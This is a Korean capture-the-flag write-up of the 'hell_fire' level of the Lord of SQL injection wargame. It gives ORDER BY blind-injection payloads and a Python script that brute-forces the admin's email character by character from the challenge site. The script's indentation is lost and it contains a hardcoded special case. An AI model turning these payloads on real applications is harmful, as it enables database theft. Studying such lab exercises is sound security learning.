[Lord of SQL injection] hell_fire
58번째 글.
1. 코드 분석
쿼리 스트링으로 order 파라미터에 값을 주면 'order by' 쿼리에 의해서
id와 email 그리고 score를 테이블에 아래와 같이 출럭한다.
admin의 email을 찾아내면 문제가 풀린다.
2. Exploit
이 문제도 힌트를 보고 풀었다 -,-
이제 점점 힌트없이는 풀 수 없는 문제들이 나오는 것 같다 ㅜㅜ
id='rubiya'로 정렬기준을 줬을 때는 아무런 변화가 없는 것 처럼 보인다.
id='admin'으로 하면 admin이 밑에 깔린다.
즉, 정렬기준이 아래에 깔린다고 볼 수 있다.
이 부분을 이용하면 된다.
?order=length(email)=특정 정수,id='rubiya'
정렬기준에 이렇게 함수를 이용해도 정렬이 된다는 것을 알 수 있었다.
만약 admin의 email의 길이가 특정 값과 맞다면 admin이 아래에 깔릴 것이고
email의 길이가 맞지않다면 차선의 정렬 기준인 id='rubiya'가 적용되어 rubiya가 밑에 깔릴 것이다.
?order=ord(substr(email,인덱스,1))='ord(특정 문자)',id='rubiya'
처음에 pw를 찾는 부분에서 좀 삽질을 하였다.계속해서 비밀번호가 이상하게 찍히는 것이다.생각해봤더니 email에 필터링되는 문자가 섞여 있을 수 있다는 생각이 들어서 위와 같이 ord() 함수를 이용해서 숫자로 바꿔주었다. (이렇게 해도 잘 되었다)
import requests
import string
sess = requests.session()
headers = {'Cookie': 'PHPSESSID=YOURSESSID'}
admin_password = ''
ascii_printable = string.printable
#print(ascii_printable)
## get password length
for i in range(100):
url = f"https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order=length(email)={i},id='rubiya'"
res = sess.get(url, headers=headers)
if('<th>id</th><th>email</th><th>score</th><tr><td>rubiya<' in res.text):
print('Password length is ', i)
password_length = i
break
## get password
for i in range(1,password_length+1):
for j in ascii_printable:
url = f"https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order=ord(substr(email,{i},1))='{ord(j)}',id='rubiya'"
res = sess.get(url, headers=headers)
if('<th>id</th><th>email</th><th>score</th><tr><td>rubiya<' in res.text or ((i==4) and j=='i')):
admin_password = admin_password+j
print(admin_password)
break
print("Admin Password is " + admin_password)
Reference
https://kkamikoon.tistory.com/197 // order by에 대한 설명이 잘되어있음